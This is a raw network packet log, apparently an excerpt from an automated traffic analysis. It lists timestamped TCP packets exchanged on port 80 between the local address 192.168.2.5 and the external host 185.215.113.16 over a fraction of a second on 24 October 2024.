Oct 24, 2024 08:38:22.085223913 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.085294008 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.085308075 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.085342884 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.085366011 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.085370064 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.086096048 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.086107969 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.086118937 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.086138010 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.086155891 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.086163044 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.086174965 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.086185932 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.086218119 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.086241961 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.086337090 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.086390018 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.086396933 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.086433887 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.086534023 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.086549997 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.086565971 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.086570978 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.086582899 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.086591005 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.086600065 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.086636066 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.086636066 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.086636066 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.134212017 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.134255886 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.134272099 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.134306908 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.134327888 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.134341955 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.134351969 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.134378910 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.168692112 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.168751955 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.168766022 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.168781996 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.168875933 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.168926001 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.171865940 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.171924114 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.171937943 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.171962976 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.171977997 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.171991110 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.171992064 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.172008991 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.172053099 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.172307968 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.172327042 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.172346115 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.172382116 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.172382116 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.172532082 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.172574997 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.172596931 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.172617912 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.172637939 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.172652006 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.172657967 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.172696114 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.172696114 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.172975063 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.173029900 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.173051119 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.173074961 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.173089027 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.173091888 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.173098087 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.173127890 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.173135996 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.173502922 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.173523903 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.173546076 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.173582077 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.173593998 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.201919079 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.201965094 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.202023029 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.202050924 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.202059031 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.202079058 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.202092886 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.202106953 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.202130079 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.202135086 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.202167988 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.202296972 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.202333927 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.202347994 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.202369928 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.202377081 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.202399969 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.202411890 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.202441931 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.202577114 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.202617884 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.202626944 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.202666044 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.202766895 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.202783108 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.202797890 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.202810049 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.202820063 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.202841043 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.203135967 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.203174114 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.203197956 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.203210115 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.203233957 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.203234911 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.203246117 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.203250885 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.203274012 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.203282118 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.203424931 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.203496933 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.203537941 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.203543901 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.203582048 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.203686953 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.203697920 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.203716993 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.203725100 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.203731060 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.203737974 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.203744888 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.203759909 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.203774929 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.204057932 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.204071045 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.204082012 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.204108953 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.204119921 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.251241922 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.251272917 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.251282930 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.251293898 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.251374006 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.251405001 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.285842896 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.285897970 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.285917044 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.285937071 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.285996914 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.286025047 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.289006948 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.289026022 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.289042950 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.289058924 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.289077044 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.289108038 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.289124012 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.289154053 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.289170027 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.289181948 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.289187908 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.289201021 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.289205074 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.289216995 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.289247036 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.289247036 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.289582968 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.289599895 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.289617062 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.289640903 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.289665937 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.289689064 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.289741039 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.289786100 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.289832115 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.289863110 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.289877892 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.289894104 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.289906979 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.289920092 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.289926052 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.289933920 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.289935112 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.289949894 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.289954901 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.289963961 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.289973021 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.289992094 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.290005922 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.290509939 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.290529966 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.290545940 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.290560961 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.290561914 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.290570974 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.290590048 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.290604115 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.319005013 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.319051027 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.319063902 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.319077969 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.319087029 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.319102049 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.319355965 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.319377899 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.319395065 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.319411993 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.319427013 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.319490910 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.319643021 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.319657087 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.319730043 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.319750071 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.319797039 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.319812059 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.319829941 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.319858074 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.320373058 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.320389986 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.320404053 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.320422888 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.320441961 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.320447922 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.320456982 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.320472956 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.320497990 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.320512056 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.320643902 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.320660114 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.320693970 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.320704937 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.320729971 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.320744991 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.320754051 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.320827007 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.320941925 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.320960999 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.320976973 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.320985079 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.320992947 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.321008921 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.321023941 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.368537903 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.368562937 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.368577957 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.368628979 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.368659019 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.403037071 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.403060913 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.403078079 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.403171062 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.406176090 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.406217098 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.406234026 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.406250000 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.406296968 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.406305075 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.406312943 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.406328917 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.406363010 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.406380892 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.406394958 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.406409025 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.406424999 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.406434059 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.406440973 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.406447887 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.406475067 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.406493902 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.406872034 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.406888962 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.406907082 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.406913996 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.406930923 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.406953096 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.407077074 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.407093048 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.407108068 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.407124043 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.407131910 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.407181978 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.407377958 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.407394886 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.407419920 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.407434940 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.407444000 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.407450914 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.407468081 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.407471895 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.407505035 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.407536983 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.436417103 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.436439037 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.436455011 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.436469078 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.436486959 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.436531067 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.436543941 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.436562061 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.436579943 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.436606884 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.436628103 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.436644077 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.436660051 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.436685085 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.436698914 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.436943054 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.436959982 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.436975002 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.437004089 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.437033892 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.437438011 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.437455893 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.437473059 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.437489986 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.437500000 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.437516928 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.437808037 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.437858105 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.437892914 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.437910080 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.437937975 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.437938929 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.437952995 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.437958002 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.437969923 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.437979937 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.437985897 CEST	80	61010	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:22.437994003 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.438014030 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.438036919 CEST	61010	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:22.438234091 CEST	80	61010	185.215.113.16	192.168.2.5
